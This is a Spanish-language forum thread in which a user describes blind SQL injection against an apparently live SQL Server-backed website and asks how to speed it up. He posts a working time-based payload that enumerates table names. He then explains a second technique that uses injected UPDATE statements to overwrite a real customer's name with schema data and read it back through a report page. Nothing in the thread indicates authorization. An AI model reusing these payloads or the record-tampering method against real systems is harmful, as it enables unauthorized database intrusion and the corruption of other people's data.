Autor
|
Tema: Dudas en Blind SQL injection (Leído 2,285 veces)
|
onirico
Desconectado
Mensajes: 2
|
Hola soy nuevo en el foro. He estado haciendo pruebas de blind sql injection a un servidor sql server. Las consultas de ese servidor a la base de datos son con procedimientos almacenados del tipo: "EXEC proced @var = '$phpvar'". La base de datos no esta conectada al internet. He estado probando con ataques basados en tiempo y hasta ahora ha salido bien, pero es muy lento y quisiera saber si hay otra forma de hacer que no sea con tiempo. Un ejemplo del mapeo que he estado haciendo es:
'; declare @s varchar(8000) SELECT @s = TABLE_NAME FROM ( SELECT TABLE_NAME, ROW_NUMBER() OVER (ORDER BY TABLE_NAME asc) as row FROM INFORMATION_SCHEMA.TABLES ) as alias WHERE row = 3 if (ascii(substring(@s, 1, 1)) > 1) waitfor delay '0:0:5' --
Por otro lado, cuando la consulta tiene un error de sintaxis, la pagina se muestra con errores (pero no aparece ningun error del sql). He probado insertarle una consulta como '; THROW 51000, 'The record does not exist.', 1; Pero no causa ningun error. Creo que se podría causar algún error a la consulta (algo así como bloquear temporalmente la conexion) para que me mande a la pagina de error y no tenga que trabajar sólo con el tiempo, ya que es demasiado lento
|
|
|
En línea
|
|
|
|
onirico
Desconectado
Mensajes: 2
|
Gracias por sus respuestas (:ironic). He resuelto el problema de otra forma. Usé el blind sql injection time based para conseguir unas cuantas tablas de la base de datos y luego he buscado un reporte en la página web donde mostraban el nombre del cliente ingresando su código. Con eso, he usado el código del cliente para modificar su nombre y ponerle el resultado de la consulta que quiero. Así he podido mapear su base de datos (tablas, procedimientos almacenados). La consulta que he usado es la siguiente (están cambiadas las tablas, los códigos y el nombre):
'; declare @r varchar(8000) SELECT @r = TABLE_NAME FROM ( SELECT TABLE_NAME, ROW_NUMBER() OVER (ORDER BY TABLE_NAME asc) as row FROM INFORMATION_SCHEMA.TABLES ) as alias WHERE row = 1 declare @c varchar(8000) SELECT @c = concat(COLUMN_NAME, ' ', ORDINAL_POSITION) FROM (SELECT COLUMN_NAME, ORDINAL_POSITION, ROW_NUMBER() OVER (ORDER BY COLUMN_NAME asc) as row FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME = @r ) as alias WHERE row = 1 UPDATE DataBase.tbCliente SET cliente = concat(@c, 'CLIENTE1') WHERE codigo = '01'; --
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Blind SQL Injection
Nivel Web
|
el-brujo
|
0
|
3,042
|
17 Octubre 2007, 23:54 pm
por el-brujo
|
|
|
Blind Sql /Xpath injection
Nivel Web
|
Tengu
|
1
|
4,648
|
11 Diciembre 2007, 16:38 pm
por yeikos
|
|
|
Blind SQL injection
Nivel Web
|
Mie2
|
2
|
3,774
|
5 Noviembre 2008, 14:09 pm
por berz3k
|
|
|
UNION en BLIND SQL Injection
Nivel Web
|
macanito
|
2
|
3,665
|
3 Agosto 2009, 19:45 pm
por macanito
|
|
|
PREGUNTA - SQL BLIND INJECTION
Hacking
|
tobiasasa
|
4
|
3,593
|
11 Abril 2020, 23:42 pm
por tobiasasa
|
|